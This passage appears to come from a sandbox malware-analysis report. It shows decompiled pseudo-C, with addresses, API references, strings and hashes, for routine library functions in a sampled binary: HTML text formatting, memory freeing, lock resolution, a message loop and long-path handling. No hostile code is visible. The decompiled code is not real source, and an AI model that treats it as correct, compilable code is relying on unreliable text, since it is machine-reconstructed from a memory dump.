				_push(0x200 + E00878793(_t57) * 0xc);
				_t52 = E0087AA2B(0x200 + E00878793(_t57) * 0xc);
				 *(_t59 + 0x10) = _t52;
				if(_t52 != 0) {
					E0087B4DF(_t52, L"<style>body{font-family:\"Arial\";font-size:12;}</style>");
					_t38 = E00878793(_t52);
					_t60 = _t59 + 0xc;
					_t25 =  *_t57 & 0x0000ffff;
					_t55 = _t57;
					if(_t25 == 0) {
						L19:
						_t52[_t38] = 0;
						L008787AE(_t57);
						return _t52;
					}
					_t45 = _t25;
					 *((intOrPtr*)(_t60 + 0x18)) = 0x20;
					_t29 = 0xd;
					_t51 = 0xa;
					do {
						if(_t45 != _t29 || _t55[1] != _t51 || _t55[2] != _t29 || _t55[3] != _t51) {
							if(_t55 <= _t57) {
								L17:
								_t52[_t38] = _t45;
								_t38 = _t38 + 1;
								goto L18;
							}
							_t31 =  *((intOrPtr*)(_t60 + 0x14));
							if(_t45 != _t31 ||  *((intOrPtr*)(_t55 - 2)) != _t31) {
								goto L17;
							} else {
								E0087B4DF( &(_t52[_t38]), L"&nbsp;");
								_t38 = _t38 + 6;
								goto L16;
							}
						} else {
							_t58 =  &(_t52[_t38]);
							_t53 = 0xa;
							while(_t55[3] == _t53) {
								E0087B4DF(_t58, L"<br>");
								_t55 =  &(_t55[2]);
								_t38 = _t38 + 4;
								_t35 = 0xd;
								_t58 =  &(_t58[4]);
								if(_t55[2] == _t35) {
									continue;
								}
								break;
							}
							_t52 =  *(_t60 + 0x10);
							_t55 =  &(_t55[1]);
							_t57 =  *(_t60 + 0x1c);
							L16:
							_t51 = 0xa;
						}
						L18:
						_t55 =  &(_t55[1]);
						_t30 =  *_t55 & 0x0000ffff;
						_t45 = _t30;
						_t29 = 0xd;
					} while (_t30 != 0);
					goto L19;
				}
				return _t57;
			}

0x0086eb78
0x0086eb8c
0x0086eb92
0x0086eb94
0x0086eb9c
0x0086ebad
0x0086ebb8
0x0086ebba
0x0086ebbd
0x0086ebc1
0x0086ebc6
0x0086ec6f
0x0086ec72
0x0086ec76
0x00000000
0x0086ec7f
0x0086ebce
0x0086ebd0
0x0086ebd8
0x0086ebdb
0x0086ebdc
0x0086ebdf
0x0086ec2d
0x0086ec56
0x0086ec56
0x0086ec5a
0x00000000
0x0086ec5a
0x0086ec2f
0x0086ec36
0x00000000
0x0086ec3e
0x0086ec47
0x0086ec4e
0x00000000
0x0086ec4e
0x0086ebf3
0x0086ebf5
0x0086ebf8
0x0086ebf9
0x0086ec05
0x0086ec0c
0x0086ec0f
0x0086ec14
0x0086ec15
0x0086ec1c
0x00000000
0x00000000
0x00000000
0x0086ec1c
0x0086ec1e
0x0086ec22
0x0086ec25
0x0086ec51
0x0086ec53
0x0086ec53
0x0086ec5b
0x0086ec5b
0x0086ec60
0x0086ec63
0x0086ec68
0x0086ec68
0x00000000
0x0086ebdc
0x00000000

APIs

_wcslen.LIBCMT ref: 0086EB7E
_wcslen.LIBCMT ref: 0086EBB3

Strings

<br>, xrefs: 0086EBFF
, xrefs: 0086EBD0
 , xrefs: 0086EC41
<style>body{font-family:"Arial";font-size:12;}</style>, xrefs: 0086EBA7

Memory Dump Source

Source File: 0000000E.00000002.472630012.0000000000861000.00000020.00000001.01000000.00000009.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000E.00000002.472502125.0000000000860000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473142055.0000000000888000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473282330.0000000000893000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473355190.0000000000899000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473536377.00000000008A5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473813211.00000000008C5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473853866.00000000008C8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473894427.00000000008C9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_860000_0RWCjOTmPGy8vyz30vD2T7Gp.jbxd

Similarity

API ID: _wcslen
String ID: $ $<br>$<style>body{font-family:"Arial";font-size:12;}</style>
API String ID: 176396367-3743748572
Opcode ID: 73c3130deee641cc3f2c1fbc53b9fed3118e86ebe4a38a8f27f652cc2d611636
Instruction ID: 429a518e630a760176ef51a3ed60c75f13fb115be8d21a33c2f826d6b71c769a
Opcode Fuzzy Hash: 73c3130deee641cc3f2c1fbc53b9fed3118e86ebe4a38a8f27f652cc2d611636
Instruction Fuzzy Hash: B1317D3A6547059AD634BF589C42B7B73E4FB90320F21842EF59AD72C0FB64EC5483A5

Uniqueness

Uniqueness Score: -1.00%

Function 00881224 Relevance: 10.6, APIs: 7, Instructions: 65
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 100%

			E00881224(intOrPtr _a4) {
				void* _t18;

				_t45 = _a4;
				if(_a4 != 0) {
					E008811E8(_t45, 7);
					E008811E8(_t45 + 0x1c, 7);
					E008811E8(_t45 + 0x38, 0xc);
					E008811E8(_t45 + 0x68, 0xc);
					E008811E8(_t45 + 0x98, 2);
					E0087D758( *((intOrPtr*)(_t45 + 0xa0)));
					E0087D758( *((intOrPtr*)(_t45 + 0xa4)));
					E0087D758( *((intOrPtr*)(_t45 + 0xa8)));
					E008811E8(_t45 + 0xb4, 7);
					E008811E8(_t45 + 0xd0, 7);
					E008811E8(_t45 + 0xec, 0xc);
					E008811E8(_t45 + 0x11c, 0xc);
					E008811E8(_t45 + 0x14c, 2);
					E0087D758( *((intOrPtr*)(_t45 + 0x154)));
					E0087D758( *((intOrPtr*)(_t45 + 0x158)));
					E0087D758( *((intOrPtr*)(_t45 + 0x15c)));
					return E0087D758( *((intOrPtr*)(_t45 + 0x160)));
				}
				return _t18;
			}

0x0088122a
0x0088122f
0x00881238
0x00881243
0x0088124e
0x00881259
0x00881267
0x00881272
0x0088127d
0x00881288
0x00881296
0x008812a4
0x008812b5
0x008812c3
0x008812d1
0x008812dc
0x008812e7
0x008812f2
0x00000000
0x00881302
0x00881307

APIs

Part of subcall function 008811E8: _free.LIBCMT ref: 00881211

_free.LIBCMT ref: 00881272

Part of subcall function 0087D758: RtlFreeHeap.NTDLL(00000000,00000000,?,00881216,?,00000000,?,00000000,?,0088123D,?,00000007,?,?,0088163A,?), ref: 0087D76E
Part of subcall function 0087D758: GetLastError.KERNEL32(?,?,00881216,?,00000000,?,00000000,?,0088123D,?,00000007,?,?,0088163A,?,?), ref: 0087D780

_free.LIBCMT ref: 0088127D
_free.LIBCMT ref: 00881288
_free.LIBCMT ref: 008812DC
_free.LIBCMT ref: 008812E7
_free.LIBCMT ref: 008812F2
_free.LIBCMT ref: 008812FD

Memory Dump Source

Source File: 0000000E.00000002.472630012.0000000000861000.00000020.00000001.01000000.00000009.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000E.00000002.472502125.0000000000860000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473142055.0000000000888000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473282330.0000000000893000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473355190.0000000000899000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473536377.00000000008A5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473813211.00000000008C5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473853866.00000000008C8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473894427.00000000008C9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_860000_0RWCjOTmPGy8vyz30vD2T7Gp.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: dc82fc3354c5e4ab71d31c4d618491636c0f9fb0103f0a225e677c5eaed5ed1d
Instruction ID: bd2d441ccb1add8e59a154366984dd8d40e72a8511700e2dab02fc258aa205a3
Opcode Fuzzy Hash: dc82fc3354c5e4ab71d31c4d618491636c0f9fb0103f0a225e677c5eaed5ed1d
Instruction Fuzzy Hash: D611E771580B44AADA20BBF4CC4EFCB77ACFF04701F805816B39AE6152DA65E6068752

Uniqueness

Uniqueness Score: -1.00%

Function 00873549 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 45
libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 94%

			E00873549() {
				intOrPtr _t3;
				_Unknown_base(*)()* _t7;
				_Unknown_base(*)()* _t10;
				struct HINSTANCE__* _t15;

				_t3 =  *0x8c8318; // 0x74640000
				if(_t3 == 1) {
					L11:
					return 0;
				}
				if(_t3 != 0) {
					return 1;
				}
				_t15 = GetModuleHandleW(L"KERNEL32.DLL");
				if(_t15 != 0) {
					_t7 = GetProcAddress(_t15, "AcquireSRWLockExclusive");
					if(_t7 == 0) {
						goto L3;
					}
					 *0x8c831c = _t7;
					_t10 = GetProcAddress(_t15, "ReleaseSRWLockExclusive");
					if(_t10 == 0) {
						goto L3;
					}
					 *0x8c8320 = _t10;
					L7:
					asm("lock cmpxchg [edx], ecx");
					if(0 != 0 || _t15 != 1) {
						return 0xbadbad;
					} else {
						goto L11;
					}
				}
				L3:
				_t15 = 1;
				goto L7;
			}

0x00873549
0x00873555
0x008735ba
0x00000000
0x008735ba
0x00873559
0x00000000
0x008735b6
0x00873566
0x0087356a
0x00873576
0x0087357e
0x00000000
0x00000000
0x00873586
0x0087358b
0x00873593
0x00000000
0x00000000
0x00873595
0x0087359a
0x008735a3
0x008735a9
0x00000000
0x00000000
0x00000000
0x00000000
0x008735a9
0x0087356c
0x0087356c
0x00000000

APIs

GetModuleHandleW.KERNEL32(KERNEL32.DLL,?,?,008735C4,00873527,008737C8), ref: 00873560
GetProcAddress.KERNEL32(00000000,AcquireSRWLockExclusive), ref: 00873576
GetProcAddress.KERNEL32(00000000,ReleaseSRWLockExclusive), ref: 0087358B

Strings

ReleaseSRWLockExclusive, xrefs: 00873580
KERNEL32.DLL, xrefs: 0087355B
AcquireSRWLockExclusive, xrefs: 00873570

Memory Dump Source

Source File: 0000000E.00000002.472630012.0000000000861000.00000020.00000001.01000000.00000009.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000E.00000002.472502125.0000000000860000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473142055.0000000000888000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473282330.0000000000893000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473355190.0000000000899000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473536377.00000000008A5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473813211.00000000008C5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473853866.00000000008C8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473894427.00000000008C9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_860000_0RWCjOTmPGy8vyz30vD2T7Gp.jbxd

Similarity

API ID: AddressProc$HandleModule
String ID: AcquireSRWLockExclusive$KERNEL32.DLL$ReleaseSRWLockExclusive
API String ID: 667068680-1718035505
Opcode ID: 03552cd7cd8b59789b09fba1cca656145470d8384c65df5b30c7591841a21837
Instruction ID: 3584e19aa0502e2e4becae86f9ec73fdf258864f15493b87b4ceef9bfa0f4f3a
Opcode Fuzzy Hash: 03552cd7cd8b59789b09fba1cca656145470d8384c65df5b30c7591841a21837
Instruction Fuzzy Hash: C1F02231780722EB8B319FB81C8056622DCFA12B583008139EA09D3344EB35CE09BBD7

Uniqueness

Uniqueness Score: -1.00%

Function 0087747A Relevance: 9.1, APIs: 6, Instructions: 60
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 83%

			E0087747A(void* __ecx, void* __edx) {
				void* _t4;
				void* _t8;
				void* _t11;
				void* _t13;
				void* _t14;
				void* _t16;
				void* _t18;
				void* _t24;
				long _t25;
				void* _t28;

				_t13 = __ecx;
				if( *0x8936a0 != 0xffffffff) {
					_t25 = GetLastError();
					_t11 = E00878652(_t13, __eflags,  *0x8936a0);
					_t14 = _t24;
					__eflags = _t11 - 0xffffffff;
					if(_t11 == 0xffffffff) {
						L5:
						_t11 = 0;
					} else {
						__eflags = _t11;
						if(__eflags == 0) {
							_t4 = E0087868D(_t14, __eflags,  *0x8936a0, 0xffffffff);
							_pop(_t16);
							__eflags = _t4;
							if(_t4 != 0) {
								_push(0x28);
								_t28 = E0087D74D(_t16);
								_t18 = 1;
								__eflags = _t28;
								if(__eflags == 0) {
									L8:
									_t11 = 0;
									E0087868D(_t18, __eflags,  *0x8936a0, 0);
								} else {
									_t8 = E0087868D(_t18, __eflags,  *0x8936a0, _t28);
									_pop(_t18);
									__eflags = _t8;
									if(__eflags != 0) {
										_t11 = _t28;
										_t28 = 0;
										__eflags = 0;
									} else {
										goto L8;
									}
								}
								L008787AE(_t28);
							} else {
								goto L5;
							}
						}
					}
					SetLastError(_t25);
					return _t11;
				} else {
					return 0;
				}
			}

0x0087747a
0x00877481
0x00877494
0x0087749b
0x0087749d
0x0087749e
0x008774a1
0x008774ba
0x008774ba
0x008774a3
0x008774a3
0x008774a5
0x008774af
0x008774b5
0x008774b6
0x008774b8
0x008774bf
0x008774c8
0x008774cb
0x008774cc
0x008774ce
0x008774e2
0x008774e2
0x008774eb
0x008774d0
0x008774d7
0x008774dd
0x008774de
0x008774e0
0x008774f4
0x008774f6
0x008774f6
0x00000000
0x00000000
0x00000000
0x008774e0
0x008774f9
0x00000000
0x00000000
0x00000000
0x008774b8
0x008774a5
0x00877501
0x0087750b
0x00877483
0x00877485
0x00877485

APIs

GetLastError.KERNEL32(?,?,00877471,00875B1C,00874764), ref: 00877488
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 00877496
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 008774AF
SetLastError.KERNEL32(00000000,00877471,00875B1C,00874764), ref: 00877501

Memory Dump Source

Source File: 0000000E.00000002.472630012.0000000000861000.00000020.00000001.01000000.00000009.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000E.00000002.472502125.0000000000860000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473142055.0000000000888000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473282330.0000000000893000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473355190.0000000000899000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473536377.00000000008A5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473813211.00000000008C5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473853866.00000000008C8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473894427.00000000008C9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_860000_0RWCjOTmPGy8vyz30vD2T7Gp.jbxd

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: 957d994de025996412e1d4718969cb7a62aa97ca9cdccc9cd4f781196831d9d7
Instruction ID: e0f9c048797b8690ef7651fb969bd79d6b5ace2aae39b13dfe942c4f9a685398
Opcode Fuzzy Hash: 957d994de025996412e1d4718969cb7a62aa97ca9cdccc9cd4f781196831d9d7
Instruction Fuzzy Hash: 3301B13220D611BEA6262F7D6CCD9272A44FB21379738822AF62CC51E9EE11CC00E259

Uniqueness

Uniqueness Score: -1.00%

Function 0087E105 Relevance: 9.0, APIs: 6, Instructions: 50
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 69%

			E0087E105(void* __ebx, void* __ecx, void* __edx) {
				void* __edi;
				void* __esi;
				intOrPtr _t2;
				void* _t3;
				void* _t4;
				intOrPtr _t9;
				void* _t11;
				void* _t20;
				void* _t21;
				void* _t23;
				void* _t25;
				void* _t27;
				void* _t29;
				void* _t30;
				void* _t31;
				void* _t32;
				long _t36;
				long _t37;
				void* _t40;

				_t29 = __edx;
				_t23 = __ecx;
				_t20 = __ebx;
				_push(_t30);
				_t36 = GetLastError();
				_t2 =  *0x8936cc; // 0x6
				_t42 = _t2 - 0xffffffff;
				if(_t2 == 0xffffffff) {
					L2:
					_t3 = E0087FAB6(_t23, 1, 0x364);
					_t31 = _t3;
					_pop(_t25);
					if(_t31 != 0) {
						_t4 = E0087F831(_t20, _t25, _t31, __eflags,  *0x8936cc, _t31);
						__eflags = _t4;
						if(_t4 != 0) {
							E0087DF6C(_t25, _t31, 0x8c88c8);
							E0087D758(0);
							_t40 = _t40 + 0xc;
							__eflags = _t31;
							if(_t31 == 0) {
								goto L9;
							} else {
								goto L8;
							}
						} else {
							_push(_t31);
							goto L4;
						}
					} else {
						_push(_t3);
						L4:
						E0087D758();
						_pop(_t25);
						L9:
						SetLastError(_t36);
						E0087D6B0(_t20, _t29, _t31, _t36);
						asm("int3");
						_push(_t20);
						_push(_t36);
						_push(_t31);
						_t37 = GetLastError();
						_t21 = 0;
						_t9 =  *0x8936cc; // 0x6
						_t45 = _t9 - 0xffffffff;
						if(_t9 == 0xffffffff) {
							L12:
							_t32 = E0087FAB6(_t25, 1, 0x364);
							_pop(_t27);
							if(_t32 != 0) {
								_t11 = E0087F831(_t21, _t27, _t32, __eflags,  *0x8936cc, _t32);
								__eflags = _t11;
								if(_t11 != 0) {
									E0087DF6C(_t27, _t32, 0x8c88c8);
									E0087D758(_t21);
									__eflags = _t32;
									if(_t32 != 0) {
										goto L19;
									} else {
										goto L18;
									}
								} else {
									_push(_t32);
									goto L14;
								}
							} else {
								_push(_t21);
								L14:
								E0087D758();
								L18:
								SetLastError(_t37);
							}
						} else {
							_t32 = E0087F7DB(0, _t25, _t31, _t45, _t9);
							if(_t32 != 0) {
								L19:
								SetLastError(_t37);
								_t21 = _t32;
							} else {
								goto L12;
							}
						}
						return _t21;
					}
				} else {
					_t31 = E0087F7DB(__ebx, _t23, _t30, _t42, _t2);
					if(_t31 != 0) {
						L8:
						SetLastError(_t36);
						return _t31;
					} else {
						goto L2;
					}
				}
			}

0x0087e105
0x0087e105
0x0087e105
0x0087e108
0x0087e10f
0x0087e111
0x0087e116
0x0087e119
0x0087e127
0x0087e12e
0x0087e133
0x0087e136
0x0087e139
0x0087e14b
0x0087e150
0x0087e152
0x0087e15d
0x0087e164
0x0087e169
0x0087e16c
0x0087e16e
0x00000000
0x00000000
0x00000000
0x00000000
0x0087e154
0x0087e154
0x00000000
0x0087e154
0x0087e13b
0x0087e13b
0x0087e13c
0x0087e13c
0x0087e141
0x0087e17c
0x0087e17d
0x0087e183
0x0087e188
0x0087e18b
0x0087e18c
0x0087e18d
0x0087e194
0x0087e196
0x0087e198
0x0087e19d
0x0087e1a0
0x0087e1ae
0x0087e1ba
0x0087e1bd
0x0087e1c0
0x0087e1d2
0x0087e1d7
0x0087e1d9
0x0087e1e4
0x0087e1ea
0x0087e1f2
0x0087e1f4
0x00000000
0x00000000
0x00000000
0x00000000
0x0087e1db
0x0087e1db
0x00000000
0x0087e1db
0x0087e1c2
0x0087e1c2
0x0087e1c3
0x0087e1c3
0x0087e1f6
0x0087e1f7
0x0087e1f7
0x0087e1a2
0x0087e1a8
0x0087e1ac
0x0087e1ff
0x0087e200
0x0087e206
0x00000000
0x00000000
0x00000000
0x0087e1ac
0x0087e20d
0x0087e20d
0x0087e11b
0x0087e121
0x0087e125
0x0087e170
0x0087e171
0x0087e17b
0x00000000
0x00000000
0x00000000
0x0087e125

APIs

GetLastError.KERNEL32(?,?,00878F0C,?,?,?,00878987,00000050), ref: 0087E109
_free.LIBCMT ref: 0087E13C
_free.LIBCMT ref: 0087E164
SetLastError.KERNEL32(00000000), ref: 0087E171
SetLastError.KERNEL32(00000000), ref: 0087E17D
_abort.LIBCMT ref: 0087E183

Memory Dump Source

Source File: 0000000E.00000002.472630012.0000000000861000.00000020.00000001.01000000.00000009.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000E.00000002.472502125.0000000000860000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473142055.0000000000888000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473282330.0000000000893000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473355190.0000000000899000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473536377.00000000008A5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473813211.00000000008C5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473853866.00000000008C8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473894427.00000000008C9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_860000_0RWCjOTmPGy8vyz30vD2T7Gp.jbxd

Similarity

API ID: ErrorLast$_free$_abort
String ID:
API String ID: 3160817290-0
Opcode ID: 5445f76d476b460f1ceae07e20b9de255f0dbaaa77c776398f66a050d1ab47de
Instruction ID: 440a7628815d66a50b9d423cedf2cbfe16abf5651523008ac4eb920fd0846841
Opcode Fuzzy Hash: 5445f76d476b460f1ceae07e20b9de255f0dbaaa77c776398f66a050d1ab47de
Instruction Fuzzy Hash: 4AF0A93A144A0067C212733D6C47E1B3A69FFDA776FA58164F61DD229AEE30C8028272

Uniqueness

Uniqueness Score: -1.00%

Function 00872C53 Relevance: 9.0, APIs: 6, Instructions: 42
windowsynchronizationCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00872C53(void* _a4) {
				struct tagMSG _v32;
				long _t7;
				long _t10;

				_t7 = WaitForSingleObject(_a4, 0xa);
				if(_t7 == 0x102) {
					do {
						if(PeekMessageW( &_v32, 0, 0, 0, 0) != 0) {
							GetMessageW( &_v32, 0, 0, 0);
							TranslateMessage( &_v32);
							DispatchMessageW( &_v32);
						}
						_t10 = WaitForSingleObject(_a4, 0xa);
					} while (_t10 == 0x102);
					return _t10;
				}
				return _t7;
			}

0x00872c5f
0x00872c6c
0x00872c71
0x00872c81
0x00872c8a
0x00872c94
0x00872c9e
0x00872c9e
0x00872ca9
0x00872caf
0x00000000
0x00872cb3
0x00872cb6

APIs

WaitForSingleObject.KERNEL32(?,0000000A), ref: 00872C5F
PeekMessageW.USER32(?,00000000,00000000,00000000,00000000), ref: 00872C79
GetMessageW.USER32(?,00000000,00000000,00000000), ref: 00872C8A
TranslateMessage.USER32(?), ref: 00872C94
DispatchMessageW.USER32(?), ref: 00872C9E
WaitForSingleObject.KERNEL32(?,0000000A), ref: 00872CA9

Memory Dump Source

Source File: 0000000E.00000002.472630012.0000000000861000.00000020.00000001.01000000.00000009.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000E.00000002.472502125.0000000000860000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473142055.0000000000888000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473282330.0000000000893000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473355190.0000000000899000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473536377.00000000008A5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473813211.00000000008C5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473853866.00000000008C8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473894427.00000000008C9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_860000_0RWCjOTmPGy8vyz30vD2T7Gp.jbxd

Similarity

API ID: Message$ObjectSingleWait$DispatchPeekTranslate
String ID:
API String ID: 2148572870-0
Opcode ID: 7e8a485129b690047df6dc97e2d7b7974a01022389a1c28505c42b81c1e46d7b
Instruction ID: 3287a3a22322836cb6c0698bebed1aec3cc932dd7a52095f5ef9cae4b2408502
Opcode Fuzzy Hash: 7e8a485129b690047df6dc97e2d7b7974a01022389a1c28505c42b81c1e46d7b
Instruction Fuzzy Hash: AFF03772A01529ABCB216BA5EC4CDDF7FBCFF92391B048021F90AD2054D634C506CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 00863553 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 127
COMMON

Download Yara Rule

C-Code - Quality: 81%

			E00863553(signed short* _a4, intOrPtr _a8, intOrPtr _a12) {
				short _v4096;
				short _v4100;
				void* _t32;
				long _t34;
				void* _t40;
				void* _t55;
				signed short* _t62;
				void* _t65;
				intOrPtr _t67;
				signed short* _t68;
				intOrPtr _t69;

				E00873AC0(0x1000);
				_t68 = _a4;
				_t70 =  *_t68;
				if( *_t68 == 0) {
					L21:
					__eflags = 0;
					return 0;
				}
				E008636DD(_t70, _t68);
				_t65 = E00878793(_t68);
				_t32 = E00863708(_t68);
				_t71 = _t32;
				if(_t32 == 0) {
					_t34 = GetCurrentDirectoryW(0x7ff,  &_v4100);
					__eflags = _t34;
					if(_t34 == 0) {
						goto L21;
					}
					__eflags = _t34 - 0x7ff;
					if(_t34 > 0x7ff) {
						goto L21;
					}
					__eflags = E0086373D( *_t68 & 0x0000ffff);
					if(__eflags == 0) {
						E0086316F(__eflags,  &_v4100, 0x800);
						_t40 = E00878793( &_v4100);
						_t67 = _a12;
						__eflags = _t67 - _t40 + _t65 + 4;
						if(_t67 <= _t40 + _t65 + 4) {
							goto L21;
						}
						E008668CD(_a8, L"\\\\?\\", _t67);
						E008668A5(__eflags, _a8,  &_v4100, _t67);
						__eflags =  *_t68 - 0x2e;
						if(__eflags == 0) {
							__eflags = E0086373D(_t68[1] & 0x0000ffff);
							if(__eflags != 0) {
								_t68 =  &(_t68[2]);
							}
						}
						L16:
						_push(_t67);
						L5:
						_push(_t68);
						L6:
						_push(_a8);
						E008668A5(_t73);
						return 1;
					}
					_t14 = _t65 + 6; // 0x6
					_t67 = _a12;
					__eflags = _t67 - _t14;
					if(_t67 <= _t14) {
						goto L21;
					}
					E008668CD(_a8, L"\\\\?\\", _t67);
					__eflags = 0;
					_v4096 = 0;
					E008668A5(0, _a8,  &_v4100, _t67);
					goto L16;
				}
				if(E008636DD(_t71, _t68) == 0) {
					_t55 = 0x5c;
					__eflags =  *_t68 - _t55;
					if( *_t68 != _t55) {
						goto L21;
					}
					_t8 =  &(_t68[1]); // 0x101
					_t62 = _t8;
					__eflags =  *_t62 - _t55;
					if( *_t62 != _t55) {
						goto L21;
					}
					_t69 = _a12;
					_t10 = _t65 + 6; // 0x6
					__eflags = _t69 - _t10;
					if(_t69 <= _t10) {
						goto L21;
					}
					E008668CD(_a8, L"\\\\?\\", _t69);
					E008668A5(__eflags, _a8, L"UNC", _t69);
					_push(_t69);
					_push(_t62);
					goto L6;
				}
				_t2 = _t65 + 4; // 0x4
				_t73 = _a12 - _t2;
				if(_a12 <= _t2) {
					goto L21;
				} else {
					E008668CD(_a8, L"\\\\?\\", _a12);
					_push(_a12);
					goto L5;
				}
			}

0x0086355b
0x00863562
0x00863566
0x0086356a
0x008636d4
0x008636d4
0x00000000
0x008636d4
0x00863571
0x0086357e
0x00863580
0x00863585
0x00863587
0x00863615
0x0086361b
0x0086361d
0x00000000
0x00000000
0x00863623
0x00863625
0x00000000
0x00000000
0x00863634
0x00863636
0x0086367f
0x0086368b
0x00863695
0x00863699
0x0086369b
0x00000000
0x00000000
0x008636a6
0x008636b6
0x008636bb
0x008636bf
0x008636cb
0x008636cd
0x008636cf
0x008636cf
0x008636cd
0x0086366d
0x0086366d
0x008635b2
0x008635b2
0x008635b3
0x008635b3
0x008635b6
0x00000000
0x008635bb
0x00863638
0x0086363b
0x0086363e
0x00863640
0x00000000
0x00000000
0x0086364f
0x00863654
0x00863656
0x00863668
0x00000000
0x00863668
0x00863591
0x008635c4
0x008635c5
0x008635c8
0x00000000
0x00000000
0x008635ce
0x008635ce
0x008635d1
0x008635d4
0x00000000
0x00000000
0x008635da
0x008635dd
0x008635e0
0x008635e2
0x00000000
0x00000000
0x008635f1
0x008635ff
0x00863604
0x00863605
0x00000000
0x00863605
0x00863593
0x00863596
0x00863599
0x00000000
0x0086359f
0x008635aa
0x008635af
0x00000000
0x008635af

APIs

_wcslen.LIBCMT ref: 00863577
GetCurrentDirectoryW.KERNEL32(000007FF,?,000000FF,000000FF,?,?,?,?,00862663,000000FF,?,00000800,?,?,00861CCF,?), ref: 00863615
_wcslen.LIBCMT ref: 0086368B

Strings

\\?\, xrefs: 008635A2, 008635E9, 00863647, 0086369E
UNC, xrefs: 008635F7

Memory Dump Source

Source File: 0000000E.00000002.472630012.0000000000861000.00000020.00000001.01000000.00000009.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000E.00000002.472502125.0000000000860000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473142055.0000000000888000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473282330.0000000000893000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473355190.0000000000899000.00000004.00000001.01000000.00000009.sdmpDownload File
